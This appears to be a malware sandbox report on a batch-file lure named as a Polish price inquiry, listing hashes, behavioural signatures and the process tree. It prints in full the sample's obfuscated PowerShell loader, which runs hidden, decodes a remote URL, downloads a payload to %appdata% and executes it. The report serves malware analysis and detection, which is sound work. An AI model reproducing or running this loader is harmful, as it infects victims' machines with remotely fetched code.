Analysis
-
max time kernel
147s -
max time network
150s -
platform
windows7_x64 -
resource
win7-20240705-en -
resource tags
arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system -
submitted
09-07-2024 14:48
Static task
static1
Behavioral task
behavioral1
Sample
FV-452747284 INTERPLUS Zapytanie o cenę arbejdsmetodes.bat
Resource
win7-20240705-en
Behavioral task
behavioral2
Sample
FV-452747284 INTERPLUS Zapytanie o cenę arbejdsmetodes.bat
Resource
win10v2004-20240704-en
General
-
Target
FV-452747284 INTERPLUS Zapytanie o cenę arbejdsmetodes.bat
-
Size
6KB
-
MD5
4eeae7ac7c9b2b2f6585cbfdb82ffd89
-
SHA1
7978841d26d2be27f6b873a6b3fca3bd999329aa
-
SHA256
96510f0af47cb70914f106bd98fc99b4a5f782c744dbe587368f8614565a6f47
-
SHA512
149edad5906d359b943d24f900c868dca0a65aa305dd571c1cfa28e6eeaec654109ad7013d5ba149fd40c341ac50ff3510297bf390a70269faeb2244a8f5f31c
-
SSDEEP
96:gv/UAWv/UAV1161kylTQdpXxJnSI4ceniGcdZYi8KqYdoTZDm3xMtt8ln9Ex61MV:icHc81xqQTXP/uiG6D8KqYdo1exMzoYV
Malware Config
Signatures
-
Blocklisted process makes network request 58 IoCs
Processes:
powershell.exeflow pid process 5 1156 powershell.exe 6 1156 powershell.exe 7 1156 powershell.exe 8 1156 powershell.exe 9 1156 powershell.exe 10 1156 powershell.exe 11 1156 powershell.exe 12 1156 powershell.exe 13 1156 powershell.exe 14 1156 powershell.exe 15 1156 powershell.exe 16 1156 powershell.exe 17 1156 powershell.exe 18 1156 powershell.exe 19 1156 powershell.exe 20 1156 powershell.exe 21 1156 powershell.exe 22 1156 powershell.exe 23 1156 powershell.exe 24 1156 powershell.exe 25 1156 powershell.exe 26 1156 powershell.exe 27 1156 powershell.exe 28 1156 powershell.exe 29 1156 powershell.exe 30 1156 powershell.exe 31 1156 powershell.exe 32 1156 powershell.exe 33 1156 powershell.exe 34 1156 powershell.exe 35 1156 powershell.exe 36 1156 powershell.exe 37 1156 powershell.exe 38 1156 powershell.exe 39 1156 powershell.exe 40 1156 powershell.exe 41 1156 powershell.exe 42 1156 powershell.exe 43 1156 powershell.exe 44 1156 powershell.exe 45 1156 powershell.exe 46 1156 powershell.exe 47 1156 powershell.exe 48 1156 powershell.exe 49 1156 powershell.exe 50 1156 powershell.exe 51 1156 powershell.exe 52 1156 powershell.exe 53 1156 powershell.exe 54 1156 powershell.exe 55 1156 powershell.exe 56 1156 powershell.exe 57 1156 powershell.exe 58 1156 powershell.exe 59 1156 powershell.exe 60 1156 powershell.exe 61 1156 powershell.exe 62 1156 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
-
Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
powershell.exepid process 1156 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 1156 powershell.exe -
Suspicious use of WriteProcessMemory 6 IoCs
Processes:
cmd.exepowershell.exedescription pid process target process PID 1460 wrote to memory of 1156 1460 cmd.exe powershell.exe PID 1460 wrote to memory of 1156 1460 cmd.exe powershell.exe PID 1460 wrote to memory of 1156 1460 cmd.exe powershell.exe PID 1156 wrote to memory of 2388 1156 powershell.exe cmd.exe PID 1156 wrote to memory of 2388 1156 powershell.exe cmd.exe PID 1156 wrote to memory of 2388 1156 powershell.exe cmd.exe
Processes
-
C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\FV-452747284 INTERPLUS Zapytanie o cenę arbejdsmetodes.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:1460 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -windowstyle hidden "cls;write 'Decisionen Landbrugsmssiges Sapremia157 Tandemcykels nucleli Isopropenyl Albatroserne Granden Udbredes Fluesnapperen Sideloebende Ernestines Karakterbristernes Unprejudice Udsigelsen Moonward Hovedbanegaarde Fremskridtsbyerne Sildigste Readaptable Rendyrkede Opprobriated Protococcal Hjlpefunktioners Decisionen Landbrugsmssiges Sapremia157 Tandemcykels nucleli Isopropenyl Albatroserne Granden Udbredes Fluesnapperen Sideloebende Ernestines Karakterbristernes Unprejudice Udsigelsen Moonward Hovedbanegaarde Fremskridtsbyerne Sildigste Readaptable Rendyrkede Opprobriated Protococcal Hjlpefunktioners';If (${host}.CurrentCulture) {$Cabalismsbryderens++;}Function Antikvitetsforretnings($Rodfunktionerne){$Byggeforetagenders156=$Rodfunktionerne.Length-$Cabalismsbryderens;$Sinecural='SUBsTR';$Sinecural+='ing';For( $Cabalism=4;$Cabalism -lt $Byggeforetagenders156;$Cabalism+=5){$Decisionen+=$Rodfunktionerne.$Sinecural.Invoke( $Cabalism, $Cabalismsbryderens);}$Decisionen;}function Unthrust($Meagrely){ . ($Eksperter) ($Meagrely);}$Antoninas=Antikvitetsforretnings 'DittMCineofutizantiisammlCarblMorpaudny/Illi5fa g.Chec0Subc .ul(UbehW Ae,istrinConvd HanoFr kwNyvlsDiat EmbrNTocoT Gli Conv1 ,dd0Klip.Sena0Bald; S h ForeWR,triRe,ongenn6S,ol4 Opt;.avi Strx,erm6Mod,4Stal; Far BaglrOstevSla,:Inqi1akti2 Fed1.mrk. g,t0,esk)Kamg DebGNatie,atrcskank Rono reh/Vrts2 aft0Komp1 Jrv0ort.0.ini1atla0Ek,k1,nth UdliFTizwiCadirAlomeGenaf,oreoegesxA,at/Omr.1ma,d2Vol 1 Unr.Fort0Home ';$Torumslejligheds=Antikvitetsforretnings 'BigwU Py,sBabbeVarmrDisp-ForeA LaggLutheLysenO.detEl,n ';$nucleli=Antikvitetsforretnings 'Fa,ah nkatDe otFe.lp,borsInhi:No p/Spek/AageeBuescSidsoPsyknOnd,s CuttNipsr EriaResem.tyreHybrdFeroi aanaOve .denacJagaoNondm Ku /UndeT.ncoe.ortgOut,lSinubHvalrClavnHilldEmpoe OddrEnkeiFanteDelerSail.FervsScrinS enpC re ';$Udarte=Antikvitetsforretnings 'Hytt>Sony ';$Eksperter=Antikvitetsforretnings 'GuttiVirke,trexScor ';$Arabin='Granden';$Martinetishness = Antikvitetsforretnings 'Vande H.wcAabehroeroUdtr Dec%S,lda B,upReg,pOv,rd Ek.aProvtD.coaDung%Cavi\,uviCkontoPreduKonsm niaAut rA bea F rtUnheeWelf. autBBe.aiD bbcAl m Sta&Mask& ual heale Ti.c Pl,hVippo Biv SynttL uc ';Unthrust (Antikvitetsforretnings 'Maxi$Em,og .ncl B ioH.rsbSlutaIntel Pol:It,mM,opeeDru.tBegialendl OstiTeltsSkrumSwad= Oms(Reloc.sonmAntedFore Sage/EmbacZibe Efte$DeprMP,ntaUdfrrB,sittissiZircnTu.sePosstSkovi sa sMasshU.banDesiePertsHimmsOver)brne ');Unthrust (Antikvitetsforretnings 'Un t$PopugOdiolNylooH,peb umpabgeblNucl:CranTConca VannO.ttdTo,seOpdrmAp,rcAnisy.etvkUnroeFamilL.ngsG st=,erv$S udnIndsulikvcFriglSatseBastlJakoiIsot. ConsUninpSa.vl hiciAnsttbort( Jer$ nopUCystdAnglaHerirRelit dukeDisp).run ');Unthrust (Antikvitetsforretnings ' ret[D,osNRecre PemtFarb.EnmeS,aboeKlynrVi,tvIkeyiudsvcPremeP ckPUniooDespiBrevnScletK nsM SieaRe snHjemaNonvgKlaseAfter.too] ,is:Paam: SupS St ePanccMicruMilirK.umiWafft irtyArguPMortrpr goBecotCutao BlocBo uoEufolspri C.nc=.ldr Geni[Ret.NKl,ke ertpost.S raS nteeDmp cBayouRgrirColliMorttBibly TilPBis r humoVenttPrteo Q acF nkoBetllUterT RawyUnnepScraeGste]K nd: Rom:SkurTMar lHjems Gul1 Slu2P,as ');$nucleli=$Tandemcykels[0];$Akkompagnatr142= (Antikvitetsforretnings 'Skra$ Ky.g UnflKl bo,nhobTapaaRelalHexa:run.LAtteeDuchntrkas,ydfbBaana.efrr Dr oFanen ProeHaphr MonsAabe=hausNDgndeDankw .ur-KalkO,ehebKredjPr sePrimc TestNont CoedS SnoyHemisDis,tS beeTrkpmSwop.H,stNLadde AartUdle.TrykWNarse Sl,bHj.pCoverl UdliBeroe TvenGlutt');$Akkompagnatr142+=$Metalism[1];Unthrust ($Akkompagnatr142);Unthrust (Antikvitetsforretnings 'se,v$L tlLPsyceFoinnBuresParab Va,aBundr S aoJordnTaute,oler,leksRati.g zpH.illeGrnsaUnded NoneDe.prStems Lg.[Phyt$.sycT tonoForsrUndiuAfs mVelbsPreslFelteLovejCenolCardi FoegSa.ghErhve Le dForus O,e]Revo=Sama$OpbiASkranWhimt Svno U,cnakvaiIsthnUdd aSukks Fun ');$barser=Antikvitetsforretnings 'Elev$AfgiLEccle AponAntrsYpp.b StoaYardrKvleoBangnUnteeKedlr O.es Dob.Em lDFortoK plw .avnAn,alud,ao,ilkaspend.rifF Un.i nylKr,meAnsg(Fl g$ZealnEndruAlvec en,lCa eeCa.alAfhsiSpu,,unde$InteOTe,ipForupTr gr fusoFustbGeorrAr,eiPeriaDirkt Usue RhedI.fo)Nonu ';$Opprobriated=$Metalism[0];Unthrust (Antikvitetsforretnings 'Cohe$H,nkgChenl.paroDiabbelseaDyrelRema: TiqRResse.indcHyphi rketRothe Sno=B.ie(PladTsubieDiaksUnretGrun-DeflPRumlaanaltWenchS.mp Skol$ tr,OSuccppilopantirDemioSammb Pror ini NonaPseltUncoe Tvrd Non)Ax,l ');while (!$Recite) {Unthrust (Antikvitetsforretnings 'Pans$Bilpg AtalAddyoEp cbWalda enilT,eo: OliFGelioCheerAfhrmH.ndgTilriTrafvFun,eSjasrUndee elp=B sa$GodttSi.orBooguCitae Ele ') ;Unthrust $barser;Unthrust (Antikvitetsforretnings '.ropSPrivt,ondaincorMi rtScor- ResSRteblS aseFor,eOp,lpRes Lip.4 ,il ');Unthrust (Antikvitetsforretnings ' tal$Ara gUnofl slaoNedkb ubaArvelAnte:linoRModte,olyc,itriFr.ttCapaebark= Gra( SheTVandeHu.dsUdfrt ,or-UnsiP ermavisstByelhHjer .nt$DecaO CripProlpElmir,nvlo SlabUntirBerriFedta Sprt SimeTangd,ifi)Gend ') ;Unthrust (Antikvitetsforretnings 'Ro,e$Spilg isjlPn.uo PrebOocya RevlAthl:PalmSSealafettpSlutrqu teLipomDomeivirgaRe,i1Dolo5Fler7Ra,n=emot$Brkeg NublMonaoCmrebSteaaBo glOver:C oiLDuk,aAasen VatdUndebD cirSpaduB.lmgS.iss Cazm PyosInstsPr,tilacigGutteUdsus ega+ Noe+T,bu%W ne$ Ri T Homanoncn Ma.d WanegrilmRo.fcNulpyB rokColoe cral ints,eso.Presc MitoBreauFlagnOvert F r ') ;$nucleli=$Tandemcykels[$Sapremia157];}$Hyacint=296268;$Shutterwise=28855;Unthrust (Antikvitetsforretnings 'Mast$GossgPoppl EndoimmabOpska,usel In,:AbraU lbid P sb N.nrSha eCh.mdCoareLuncs ou sge=Pret funkGUdd,eGrattOver-EnspC Arso BlonNasct Akae Klan watSa,t Fuzz$W,tcO.ocupundepDejlrSheaoPalebOsterBud.i.ispaForft FoseAcadd Fo ');Unthrust (Antikvitetsforretnings 'So,r$ MisgThrilTi so.prrbTrada aml.esk:ScypH Antnre.lsFl.geLin,a artvScenlS lkeSkvirFlgb Del=.mpe Sjle[GamoSBagay inisAccotDisseOrthmBa,y.RebuC,oneoA mrn astvJapaeg,rtrForutudre]Mirt: lo:Zo,aF D pr Mono.rotmJoveBProvaJa zs oite Bre6Be.l4InfaSSbeht AnerKooliov rnErytg R.d(Bril$MamlU BesdKes bSikkrEnc,e.ommd.arveMotisbagg),ndi ');Unthrust (Antikvitetsforretnings 'Ub.f$AnjagUmu,lrealoSkanbN tra re,lD kk:,ensEFrotr WelnArkaeNells QuatTraui D,snHov.eCam sBa.t Noe=Film Disr[SojaSOpskyMerlsUnfotNo,seG,ubmGuat.OyesTStdee Cr,xFordt dol.SvarEForln ColcDef,oKvetdHumbiSyltn WalgSe a]Klod:S rv:ProgALivsS venCAposIAnovIFilt.ScarGdokeeRespt .oaSModitSig,r illi kasn GlogLreb(Card$P,ncHD lanFor,scentePopuaSlusv usclDiskeLapirBal )Styr ');Unthrust (Antikvitetsforretnings 'Rumb$ RecgS,lvl PreoVarib N,paAnmelde,i:T.ttzAnthoSv.pb.verlTarde ,krn PlesHi,h=.alv$ UnmE,roorB,ndnRefreBn hsv,sttIndii ThenTe.lePinhsUrim.,ogfs Preu.hrebSporsSurrtSubsrReveiSignn z.ngUdsp(Fo,v$ diaHMessyTr.daOps,cAnslim stn eeltMart,Kont$ Fo.SOughhMit.uUntotFysitHat,eUnmorBu.lw FamiTutrsAdumePlan)Estr ');Unthrust $zoblens;"2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1156 -
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Coumarate.Bic && echo t"3⤵PID:2388